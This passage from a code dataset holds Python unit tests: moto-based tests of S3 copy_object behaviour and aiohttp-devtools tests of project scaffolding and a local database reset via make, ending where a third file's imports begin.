\"the-unicode-💩-key\",\n \"key-with?question-mark\",\n \"key-with%2Fembedded%2Furl%2Fencoding\",\n ],\n)\n@mock_s3\ndef test_copy_key_boto3(key_name):\n s3 = boto3.resource(\"s3\", region_name=DEFAULT_REGION_NAME)\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n s3.create_bucket(Bucket=\"foobar\")\n\n key = s3.Object(\"foobar\", key_name)\n key.put(Body=b\"some value\")\n\n key2 = s3.Object(\"foobar\", \"new-key\")\n key2.copy_from(CopySource=f\"foobar/{key_name}\")\n\n resp = client.get_object(Bucket=\"foobar\", Key=key_name)\n resp[\"Body\"].read().should.equal(b\"some value\")\n resp = client.get_object(Bucket=\"foobar\", Key=\"new-key\")\n resp[\"Body\"].read().should.equal(b\"some value\")\n\n\n@mock_s3\ndef test_copy_key_boto3_with_sha256_checksum():\n # Setup\n s3 = boto3.resource(\"s3\", region_name=DEFAULT_REGION_NAME)\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n key_name = \"key\"\n new_key = \"new_key\"\n bucket = \"foobar\"\n expected_hash = \"YWIzZDA3ZjMxNjljY2JkMGVkNmM0YjQ1ZGUyMTUxOWY5ZjkzOGM3MmQyNDEyNDk5OGFhYjk0OWNlODNiYjUxYg==\"\n\n s3.create_bucket(Bucket=bucket)\n key = s3.Object(\"foobar\", key_name)\n key.put(Body=b\"some value\")\n\n # Execute\n key2 = s3.Object(bucket, new_key)\n key2.copy(\n CopySource={\"Bucket\": bucket, \"Key\": key_name},\n ExtraArgs={\"ChecksumAlgorithm\": \"SHA256\"},\n )\n\n # Verify\n resp = client.get_object_attributes(\n Bucket=bucket, Key=new_key, ObjectAttributes=[\"Checksum\"]\n )\n\n assert \"Checksum\" in resp\n assert \"ChecksumSHA256\" in resp[\"Checksum\"]\n assert resp[\"Checksum\"][\"ChecksumSHA256\"] == expected_hash\n\n\n@mock_s3\ndef test_copy_key_with_version_boto3():\n s3 = boto3.resource(\"s3\", region_name=DEFAULT_REGION_NAME)\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n s3.create_bucket(Bucket=\"foobar\")\n client.put_bucket_versioning(\n Bucket=\"foobar\", VersioningConfiguration={\"Status\": \"Enabled\"}\n )\n\n key = s3.Object(\"foobar\", \"the-key\")\n key.put(Body=b\"some value\")\n key.put(Body=b\"another value\")\n\n all_versions = client.list_object_versions(Bucket=\"foobar\", Prefix=\"the-key\")[\n \"Versions\"\n ]\n old_version = [v for v in all_versions if not v[\"IsLatest\"]][0]\n\n key2 = s3.Object(\"foobar\", \"new-key\")\n key2.copy_from(CopySource=f\"foobar/the-key?versionId={old_version['VersionId']}\")\n\n resp = client.get_object(Bucket=\"foobar\", Key=\"the-key\")\n resp[\"Body\"].read().should.equal(b\"another value\")\n resp = client.get_object(Bucket=\"foobar\", Key=\"new-key\")\n resp[\"Body\"].read().should.equal(b\"some value\")\n\n\n@mock_s3\ndef test_copy_object_with_bucketkeyenabled_returns_the_value():\n s3 = boto3.resource(\"s3\", region_name=DEFAULT_REGION_NAME)\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n bucket_name = \"test-copy-object-with-bucketkeyenabled\"\n s3.create_bucket(Bucket=bucket_name)\n\n key = s3.Object(bucket_name, \"the-key\")\n key.put(Body=b\"some value\")\n\n key2 = s3.Object(bucket_name, \"new-key\")\n key2.copy_from(\n CopySource=f\"{bucket_name}/the-key\",\n BucketKeyEnabled=True,\n ServerSideEncryption=\"aws:kms\",\n )\n\n resp = client.get_object(Bucket=bucket_name, Key=\"the-key\")\n src_headers = resp[\"ResponseMetadata\"][\"HTTPHeaders\"]\n src_headers.shouldnt.have.key(\"x-amz-server-side-encryption\")\n src_headers.shouldnt.have.key(\"x-amz-server-side-encryption-aws-kms-key-id\")\n src_headers.shouldnt.have.key(\"x-amz-server-side-encryption-bucket-key-enabled\")\n\n resp = client.get_object(Bucket=bucket_name, Key=\"new-key\")\n target_headers = resp[\"ResponseMetadata\"][\"HTTPHeaders\"]\n target_headers.should.have.key(\"x-amz-server-side-encryption\")\n # AWS will also return the KMS default key id - not yet implemented\n # target_headers.should.have.key(\"x-amz-server-side-encryption-aws-kms-key-id\")\n # This field is only returned if encryption is set to 'aws:kms'\n target_headers.should.have.key(\"x-amz-server-side-encryption-bucket-key-enabled\")\n str(\n target_headers[\"x-amz-server-side-encryption-bucket-key-enabled\"]\n ).lower().should.equal(\"true\")\n\n\n@mock_s3\ndef test_copy_key_with_metadata():\n s3 = boto3.resource(\"s3\", region_name=DEFAULT_REGION_NAME)\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n s3.create_bucket(Bucket=\"foobar\")\n\n key = s3.Object(\"foobar\", \"the-key\")\n metadata = {\"md\": \"Metadatastring\"}\n content_type = \"application/json\"\n initial = key.put(Body=b\"{}\", Metadata=metadata, ContentType=content_type)\n\n client.copy_object(Bucket=\"foobar\", CopySource=\"foobar/the-key\", Key=\"new-key\")\n\n resp = client.get_object(Bucket=\"foobar\", Key=\"new-key\")\n resp[\"Metadata\"].should.equal(metadata)\n resp[\"ContentType\"].should.equal(content_type)\n resp[\"ETag\"].should.equal(initial[\"ETag\"])\n\n\n@mock_s3\ndef test_copy_key_replace_metadata():\n s3 = boto3.resource(\"s3\", region_name=DEFAULT_REGION_NAME)\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n s3.create_bucket(Bucket=\"foobar\")\n\n key = s3.Object(\"foobar\", \"the-key\")\n initial = key.put(Body=b\"some value\", Metadata={\"md\": \"Metadatastring\"})\n\n client.copy_object(\n Bucket=\"foobar\",\n CopySource=\"foobar/the-key\",\n Key=\"new-key\",\n Metadata={\"momd\": \"Mometadatastring\"},\n MetadataDirective=\"REPLACE\",\n )\n\n resp = client.get_object(Bucket=\"foobar\", Key=\"new-key\")\n resp[\"Metadata\"].should.equal({\"momd\": \"Mometadatastring\"})\n resp[\"ETag\"].should.equal(initial[\"ETag\"])\n\n\n@mock_s3\ndef test_copy_key_without_changes_should_error():\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n bucket_name = \"my_bucket\"\n s3 = boto3.resource(\"s3\", region_name=DEFAULT_REGION_NAME)\n key_name = \"my_key\"\n key = s3.Object(bucket_name, key_name)\n\n s3.create_bucket(Bucket=bucket_name)\n key.put(Body=b\"some value\")\n\n with pytest.raises(ClientError) as e:\n client.copy_object(\n Bucket=bucket_name,\n CopySource=f\"{bucket_name}/{key_name}\",\n Key=key_name,\n )\n e.value.response[\"Error\"][\"Message\"].should.equal(\n \"This copy request is illegal because it is trying to copy an object to itself without changing the object's metadata, storage class, website redirect location or encryption attributes.\"\n )\n\n\n@mock_s3\ndef test_copy_key_without_changes_should_not_error():\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n bucket_name = \"my_bucket\"\n s3 = boto3.resource(\"s3\", region_name=DEFAULT_REGION_NAME)\n key_name = \"my_key\"\n key = s3.Object(bucket_name, key_name)\n\n s3.create_bucket(Bucket=bucket_name)\n key.put(Body=b\"some value\")\n\n client.copy_object(\n Bucket=bucket_name,\n CopySource=f\"{bucket_name}/{key_name}\",\n Key=key_name,\n Metadata={\"some-key\": \"some-value\"},\n MetadataDirective=\"REPLACE\",\n )\n\n new_object = client.get_object(Bucket=bucket_name, Key=key_name)\n\n assert new_object[\"Metadata\"] == {\"some-key\": \"some-value\"}\n\n\n@mock_s3\ndef test_copy_key_reduced_redundancy():\n s3 = boto3.resource(\"s3\", region_name=DEFAULT_REGION_NAME)\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n bucket = s3.Bucket(\"test_bucket\")\n bucket.create()\n\n bucket.put_object(Key=\"the-key\", Body=b\"somedata\")\n\n client.copy_object(\n Bucket=\"test_bucket\",\n CopySource=\"test_bucket/the-key\",\n Key=\"new-key\",\n StorageClass=\"REDUCED_REDUNDANCY\",\n )\n\n keys = dict([(k.key, k) for k in bucket.objects.all()])\n keys[\"new-key\"].storage_class.should.equal(\"REDUCED_REDUNDANCY\")\n keys[\"the-key\"].storage_class.should.equal(\"STANDARD\")\n\n\n@mock_s3\ndef test_copy_non_existing_file():\n s3 = boto3.resource(\"s3\", region_name=DEFAULT_REGION_NAME)\n src = \"srcbucket\"\n target = \"target\"\n s3.create_bucket(Bucket=src)\n s3.create_bucket(Bucket=target)\n\n s3_client = boto3.client(\"s3\")\n with pytest.raises(ClientError) as exc:\n s3_client.copy_object(\n Bucket=target, CopySource={\"Bucket\": src, \"Key\": \"foofoofoo\"}, Key=\"newkey\"\n )\n err = exc.value.response[\"Error\"]\n err[\"Code\"].should.equal(\"NoSuchKey\")\n err[\"Message\"].should.equal(\"The specified key does not exist.\")\n err[\"Key\"].should.equal(\"foofoofoo\")\n\n\n@mock_s3\ndef test_copy_object_with_versioning():\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n\n client.create_bucket(\n Bucket=\"blah\", CreateBucketConfiguration={\"LocationConstraint\": \"eu-west-1\"}\n )\n client.put_bucket_versioning(\n Bucket=\"blah\", VersioningConfiguration={\"Status\": \"Enabled\"}\n )\n\n client.put_object(Bucket=\"blah\", Key=\"test1\", Body=b\"test1\")\n client.put_object(Bucket=\"blah\", Key=\"test2\", Body=b\"test2\")\n\n client.get_object(Bucket=\"blah\", Key=\"test1\")[\"VersionId\"]\n obj2_version = client.get_object(Bucket=\"blah\", Key=\"test2\")[\"VersionId\"]\n\n client.copy_object(\n CopySource={\"Bucket\": \"blah\", \"Key\": \"test1\"}, Bucket=\"blah\", Key=\"test2\"\n )\n obj2_version_new = client.get_object(Bucket=\"blah\", Key=\"test2\")[\"VersionId\"]\n\n # Version should be different to previous version\n obj2_version_new.should_not.equal(obj2_version)\n\n client.copy_object(\n CopySource={\"Bucket\": \"blah\", \"Key\": \"test2\", \"VersionId\": obj2_version},\n Bucket=\"blah\",\n Key=\"test3\",\n )\n obj3_version_new = client.get_object(Bucket=\"blah\", Key=\"test3\")[\"VersionId\"]\n obj3_version_new.should_not.equal(obj2_version_new)\n\n # Copy file that doesn't exist\n with pytest.raises(ClientError) as e:\n client.copy_object(\n CopySource={\"Bucket\": \"blah\", \"Key\": \"test4\", \"VersionId\": obj2_version},\n Bucket=\"blah\",\n Key=\"test5\",\n )\n e.value.response[\"Error\"][\"Code\"].should.equal(\"NoSuchKey\")\n\n response = client.create_multipart_upload(Bucket=\"blah\", Key=\"test4\")\n upload_id = response[\"UploadId\"]\n response = client.upload_part_copy(\n Bucket=\"blah\",\n Key=\"test4\",\n CopySource={\"Bucket\": \"blah\", \"Key\": \"test3\", \"VersionId\": obj3_version_new},\n UploadId=upload_id,\n PartNumber=1,\n )\n etag = response[\"CopyPartResult\"][\"ETag\"]\n client.complete_multipart_upload(\n Bucket=\"blah\",\n Key=\"test4\",\n UploadId=upload_id,\n MultipartUpload={\"Parts\": [{\"ETag\": etag, \"PartNumber\": 1}]},\n )\n\n response = client.get_object(Bucket=\"blah\", Key=\"test4\")\n data = response[\"Body\"].read()\n data.should.equal(b\"test2\")\n\n\n@mock_s3\ndef test_copy_object_from_unversioned_to_versioned_bucket():\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n\n client.create_bucket(\n Bucket=\"src\", CreateBucketConfiguration={\"LocationConstraint\": \"eu-west-1\"}\n )\n client.create_bucket(\n Bucket=\"dest\", CreateBucketConfiguration={\"LocationConstraint\": \"eu-west-1\"}\n )\n client.put_bucket_versioning(\n Bucket=\"dest\", VersioningConfiguration={\"Status\": \"Enabled\"}\n )\n\n client.put_object(Bucket=\"src\", Key=\"test\", Body=b\"content\")\n\n obj2_version_new = client.copy_object(\n CopySource={\"Bucket\": \"src\", \"Key\": \"test\"}, Bucket=\"dest\", Key=\"test\"\n ).get(\"VersionId\")\n\n # VersionId should be present in the response\n obj2_version_new.should_not.equal(None)\n\n\n@mock_s3\ndef test_copy_object_with_replacement_tagging():\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n client.create_bucket(Bucket=\"mybucket\")\n client.put_object(\n Bucket=\"mybucket\", Key=\"original\", Body=b\"test\", Tagging=\"tag=old\"\n )\n\n # using system tags will fail\n with pytest.raises(ClientError) as err:\n client.copy_object(\n CopySource={\"Bucket\": \"mybucket\", \"Key\": \"original\"},\n Bucket=\"mybucket\",\n Key=\"copy1\",\n TaggingDirective=\"REPLACE\",\n Tagging=\"aws:tag=invalid_key\",\n )\n\n e = err.value\n e.response[\"Error\"][\"Code\"].should.equal(\"InvalidTag\")\n\n client.copy_object(\n CopySource={\"Bucket\": \"mybucket\", \"Key\": \"original\"},\n Bucket=\"mybucket\",\n Key=\"copy1\",\n TaggingDirective=\"REPLACE\",\n Tagging=\"tag=new\",\n )\n client.copy_object(\n CopySource={\"Bucket\": \"mybucket\", \"Key\": \"original\"},\n Bucket=\"mybucket\",\n Key=\"copy2\",\n TaggingDirective=\"COPY\",\n )\n\n tags1 = client.get_object_tagging(Bucket=\"mybucket\", Key=\"copy1\")[\"TagSet\"]\n tags1.should.equal([{\"Key\": \"tag\", \"Value\": \"new\"}])\n tags2 = client.get_object_tagging(Bucket=\"mybucket\", Key=\"copy2\")[\"TagSet\"]\n tags2.should.equal([{\"Key\": \"tag\", \"Value\": \"old\"}])\n\n\n@mock_s3\n@mock_kms\ndef test_copy_object_with_kms_encryption():\n client = boto3.client(\"s3\", region_name=DEFAULT_REGION_NAME)\n kms_client = boto3.client(\"kms\", region_name=DEFAULT_REGION_NAME)\n kms_key = kms_client.create_key()[\"KeyMetadata\"][\"KeyId\"]\n\n client.create_bucket(\n Bucket=\"blah\", CreateBucketConfiguration={\"LocationConstraint\": \"eu-west-1\"}\n )\n\n client.put_object(Bucket=\"blah\", Key=\"test1\", Body=b\"test1\")\n\n client.copy_object(\n CopySource={\"Bucket\": \"blah\", \"Key\": \"test1\"},\n Bucket=\"blah\",\n Key=\"test2\",\n SSEKMSKeyId=kms_key,\n ServerSideEncryption=\"aws:kms\",\n )\n result = client.head_object(Bucket=\"blah\", Key=\"test2\")\n assert result[\"SSEKMSKeyId\"] == kms_key\n assert result[\"ServerSideEncryption\"] == \"aws:kms\"\n", "sub_path": "tests/test_s3/test_s3_copyobject.py", "file_name": "test_s3_copyobject.py", "file_ext": "py", "file_size_in_byte": 13810, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "boto3.resource", "line_number": 23, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 23, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 24, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 24, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 12, "usage_type": "attribute"}, {"api_name": "moto.mock_s3", "line_number": 21, "usage_type": "name"}, {"api_name": "boto3.resource", "line_number": 42, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 42, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 43, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 43, "usage_type": "name"}, {"api_name": "moto.mock_s3", "line_number": 39, "usage_type": "name"}, {"api_name": "boto3.resource", "line_number": 72, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 72, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 73, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 73, "usage_type": "name"}, {"api_name": "moto.mock_s3", "line_number": 70, "usage_type": "name"}, {"api_name": "boto3.resource", "line_number": 99, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 99, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 100, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 100, "usage_type": "name"}, {"api_name": "moto.mock_s3", "line_number": 97, "usage_type": "name"}, {"api_name": "boto3.resource", "line_number": 134, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 134, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 135, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 135, "usage_type": "name"}, {"api_name": "moto.mock_s3", "line_number": 132, "usage_type": "name"}, {"api_name": "boto3.resource", "line_number": 153, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 153, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 154, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 154, "usage_type": "name"}, {"api_name": "moto.mock_s3", "line_number": 151, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 175, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 175, "usage_type": "name"}, {"api_name": "boto3.resource", "line_number": 177, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 177, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 184, "usage_type": "call"}, {"api_name": "botocore.client.ClientError", "line_number": 184, "usage_type": "argument"}, {"api_name": "moto.mock_s3", "line_number": 173, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 197, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 197, "usage_type": "name"}, {"api_name": "boto3.resource", "line_number": 199, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 199, "usage_type": "name"}, {"api_name": "moto.mock_s3", "line_number": 195, "usage_type": "name"}, {"api_name": "boto3.resource", "line_number": 221, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 221, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 222, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 222, "usage_type": "name"}, {"api_name": "moto.mock_s3", "line_number": 219, "usage_type": "name"}, {"api_name": "boto3.resource", "line_number": 242, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 242, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 248, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 249, "usage_type": "call"}, {"api_name": "botocore.client.ClientError", "line_number": 249, "usage_type": "argument"}, {"api_name": "moto.mock_s3", "line_number": 240, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 261, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 261, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 293, "usage_type": "call"}, {"api_name": "botocore.client.ClientError", "line_number": 293, "usage_type": "argument"}, {"api_name": "moto.mock_s3", "line_number": 259, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 325, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 325, "usage_type": "name"}, {"api_name": "moto.mock_s3", "line_number": 323, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 349, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 349, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 356, "usage_type": "call"}, {"api_name": "botocore.client.ClientError", "line_number": 356, "usage_type": "argument"}, {"api_name": "moto.mock_s3", "line_number": 347, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 391, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 391, "usage_type": "name"}, {"api_name": "boto3.client", "line_number": 392, "usage_type": "call"}, {"api_name": "moto.s3.responses.DEFAULT_REGION_NAME", "line_number": 392, "usage_type": "name"}, {"api_name": "moto.mock_s3", "line_number": 388, "usage_type": "name"}, {"api_name": "moto.mock_kms", "line_number": 389, "usage_type": "name"}]} {"seq_id": "45806365", "text": "import itertools\nimport os\nimport platform\nimport subprocess\n\nimport aiohttp\nimport pytest\nfrom flake8.api import legacy as flake8\nfrom pytest_toolbox import mktree\n\nfrom aiohttp_devtools.exceptions import AiohttpDevConfigError\nfrom aiohttp_devtools.runserver.config import Config\nfrom aiohttp_devtools.runserver.serve import modify_main_app\nfrom aiohttp_devtools.start import DatabaseChoice, ExampleChoice, SessionChoices, StartProject, TemplateChoice\nfrom aiohttp_devtools.start.main import enum_choices\n\nfrom .conftest import get_if_boxed, get_slow\n\nslow = get_slow(pytest)\nif_boxed = get_if_boxed(pytest)\n\n\nIS_WINDOWS = platform.system() == 'Windows'\n\n\ndef test_start_simple(tmpdir, smart_caplog):\n StartProject(path=str(tmpdir), name='foobar')\n assert {p.basename for p in tmpdir.listdir()} == {\n 'app',\n 'Makefile',\n 'requirements.txt',\n 'README.md',\n 'activate.settings.sh',\n 'setup.cfg',\n 'static',\n 'tests',\n }\n if IS_WINDOWS:\n log_path = r'\"C:\\Users\\appveyor\\AppData\\Local\\Temp\\...\"'\n log_normalizers = (r'\"C:\\\\Users\\\\appveyor\\\\AppData\\\\Local\\\\Temp\\\\.*?\"', log_path.replace('\\\\', r'\\\\'))\n else:\n log_path = '\"/tmp/...\"'\n log_normalizers = ('\"/tmp/.*?\"', log_path)\n assert \"\"\"\\\nadev.main INFO: Starting new aiohttp project \"foobar\" at {}\nadev.main INFO: config:\n template_engine: jinja\n session: secure\n database: pg-sqlalchemy\n example: message-board\nadev.main INFO: project created, 18 files generated\\n\"\"\".format(log_path) == smart_caplog(log_normalizers)\n\n\n@if_boxed\nasync def test_start_other_dir(tmpdir, loop, test_client, smart_caplog):\n StartProject(path=str(tmpdir.join('the-path')), name='foobar', database=DatabaseChoice.NONE)\n assert {p.basename for p in tmpdir.listdir()} == {'the-path'}\n assert {p.basename for p in tmpdir.join('the-path').listdir()} == {\n 'app',\n 'Makefile',\n 'requirements.txt',\n 'README.md',\n 'activate.settings.sh',\n 'setup.cfg',\n 'static',\n 'tests',\n }\n assert \"\"\"\\\nadev.main INFO: Starting new aiohttp project \"foobar\" at \"//the-path\"\nadev.main INFO: config:\n template_engine: jinja\n session: secure\n database: none\n example: message-board\nadev.main INFO: project created, 16 files generated\\n\"\"\" == smart_caplog.log.replace(str(tmpdir), '/')\n config = Config(app_path='the-path/app/', root_path=str(tmpdir), static_path='.')\n app_factory = config.import_app_factory()\n app = app_factory()\n modify_main_app(app, config)\n assert isinstance(app, aiohttp.web.Application)\n\n cli = await test_client(app)\n r = await cli.get('/')\n assert r.status == 200\n text = await r.text()\n assert \"Success! you've setup a basic aiohttp app.\" in text\n\n\ndef test_conflicting_file(tmpdir):\n mktree(tmpdir, {\n 'Makefile': '...',\n })\n with pytest.raises(AiohttpDevConfigError) as excinfo:\n StartProject(path=str(tmpdir), name='foobar')\n assert excinfo.value.args[0].endswith('has files/directories which would conflict with the new project: Makefile')\n\n\n@if_boxed\n@slow\n@pytest.mark.parametrize('template_engine,session,database,example', itertools.product(\n enum_choices(TemplateChoice),\n enum_choices(SessionChoices),\n enum_choices(DatabaseChoice),\n enum_choices(ExampleChoice),\n))\nasync def test_all_options(tmpdir, test_client, loop, template_engine, session, database, example):\n StartProject(\n path=str(tmpdir),\n name='foobar',\n template_engine=template_engine,\n session=session,\n database=database,\n example=example,\n )\n assert 'app' in {p.basename for p in tmpdir.listdir()}\n style_guide = flake8.get_style_guide()\n report = style_guide.check_files([str(tmpdir)])\n assert report.total_errors == 0\n if database != 'none':\n return\n config = Config(app_path='app/main.py', root_path=str(tmpdir), static_path='.')\n\n app_factory = config.import_app_factory()\n app = app_factory()\n modify_main_app(app, config)\n cli = await test_client(app)\n r = await cli.get('/')\n assert r.status == 200\n text = await r.text()\n assert 'foobar' in text\n\n\n@if_boxed\n@slow\nasync def test_db_creation(tmpdir, test_client, loop):\n StartProject(\n path=str(tmpdir),\n name='foobar postgres test',\n template_engine=TemplateChoice.JINJA,\n session=SessionChoices.NONE,\n database=DatabaseChoice.PG_SA,\n example=ExampleChoice.MESSAGE_BOARD,\n )\n assert 'app' in {p.basename for p in tmpdir.listdir()}\n style_guide = flake8.get_style_guide()\n report = style_guide.check_files([str(tmpdir)])\n assert report.total_errors == 0\n db_password = os.getenv('APP_DB_PASSWORD', '')\n env = {\n 'APP_DB_PASSWORD': db_password,\n 'PATH': os.getenv('PATH', ''),\n }\n p = subprocess.run(['make', 'reset-database'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n cwd=str(tmpdir), env=env, universal_newlines=True)\n assert p.returncode == 0, p.stdout\n assert 'creating database \"foobar\"...'\n assert 'creating tables from model definition...'\n\n os.environ['APP_DB_PASSWORD'] = db_password\n config = Config(app_path='app/main.py', root_path=str(tmpdir), static_path='.')\n\n app_factory = config.import_app_factory()\n app = app_factory()\n modify_main_app(app, config)\n cli = await test_client(app)\n r = await cli.get('/')\n assert r.status == 200\n text = await r.text()\n assert 'foobar postgres test' in text\n", "sub_path": "tests/test_start.py", "file_name": "test_start.py", "file_ext": "py", "file_size_in_byte": 5642, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "conftest.get_slow", "line_number": 19, "usage_type": "call"}, {"api_name": "conftest.get_if_boxed", "line_number": 20, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 23, "usage_type": "call"}, {"api_name": "aiohttp_devtools.start.StartProject", "line_number": 27, "usage_type": "call"}, {"api_name": "aiohttp_devtools.start.StartProject", "line_number": 56, "usage_type": "call"}, {"api_name": "aiohttp_devtools.start.DatabaseChoice.NONE", "line_number": 56, "usage_type": "attribute"}, {"api_name": "aiohttp_devtools.start.DatabaseChoice", "line_number": 56, "usage_type": "name"}, {"api_name": "aiohttp_devtools.runserver.config.Config", "line_number": 76, "usage_type": "call"}, {"api_name": "aiohttp_devtools.runserver.serve.modify_main_app", "line_number": 79, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 80, "usage_type": "attribute"}, {"api_name": "pytest_toolbox.mktree", "line_number": 90, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 93, "usage_type": "call"}, {"api_name": "aiohttp_devtools.exceptions.AiohttpDevConfigError", "line_number": 93, "usage_type": "argument"}, {"api_name": "aiohttp_devtools.start.StartProject", "line_number": 94, "usage_type": "call"}, {"api_name": "aiohttp_devtools.start.StartProject", "line_number": 107, "usage_type": "call"}, {"api_name": "flake8.api.legacy.get_style_guide", "line_number": 116, "usage_type": "call"}, {"api_name": "flake8.api.legacy", "line_number": 116, "usage_type": "name"}, {"api_name": "aiohttp_devtools.runserver.config.Config", "line_number": 121, "usage_type": "call"}, {"api_name": "aiohttp_devtools.runserver.serve.modify_main_app", "line_number": 125, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 100, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 100, "usage_type": "attribute"}, {"api_name": "itertools.product", "line_number": 100, "usage_type": "call"}, {"api_name": "aiohttp_devtools.start.main.enum_choices", "line_number": 101, "usage_type": "call"}, {"api_name": "aiohttp_devtools.start.TemplateChoice", "line_number": 101, "usage_type": "argument"}, {"api_name": "aiohttp_devtools.start.main.enum_choices", "line_number": 102, "usage_type": "call"}, {"api_name": "aiohttp_devtools.start.SessionChoices", "line_number": 102, "usage_type": "argument"}, {"api_name": "aiohttp_devtools.start.main.enum_choices", "line_number": 103, "usage_type": "call"}, {"api_name": "aiohttp_devtools.start.DatabaseChoice", "line_number": 103, "usage_type": "argument"}, {"api_name": "aiohttp_devtools.start.main.enum_choices", "line_number": 104, "usage_type": "call"}, {"api_name": "aiohttp_devtools.start.ExampleChoice", "line_number": 104, "usage_type": "argument"}, {"api_name": "aiohttp_devtools.start.StartProject", "line_number": 136, "usage_type": "call"}, {"api_name": "aiohttp_devtools.start.TemplateChoice.JINJA", "line_number": 139, "usage_type": "attribute"}, {"api_name": "aiohttp_devtools.start.TemplateChoice", "line_number": 139, "usage_type": "name"}, {"api_name": "aiohttp_devtools.start.SessionChoices.NONE", "line_number": 140, "usage_type": "attribute"}, {"api_name": "aiohttp_devtools.start.SessionChoices", "line_number": 140, "usage_type": "name"}, {"api_name": "aiohttp_devtools.start.DatabaseChoice.PG_SA", "line_number": 141, "usage_type": "attribute"}, {"api_name": "aiohttp_devtools.start.DatabaseChoice", "line_number": 141, "usage_type": "name"}, {"api_name": "aiohttp_devtools.start.ExampleChoice.MESSAGE_BOARD", "line_number": 142, "usage_type": "attribute"}, {"api_name": "aiohttp_devtools.start.ExampleChoice", "line_number": 142, "usage_type": "name"}, {"api_name": "flake8.api.legacy.get_style_guide", "line_number": 145, "usage_type": "call"}, {"api_name": "flake8.api.legacy", "line_number": 145, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 148, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 151, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 153, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 153, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 153, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 159, "usage_type": "attribute"}, {"api_name": "aiohttp_devtools.runserver.config.Config", "line_number": 160, "usage_type": "call"}, {"api_name": "aiohttp_devtools.runserver.serve.modify_main_app", "line_number": 164, "usage_type": "call"}]} {"seq_id": "60537581", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport tensorflow as 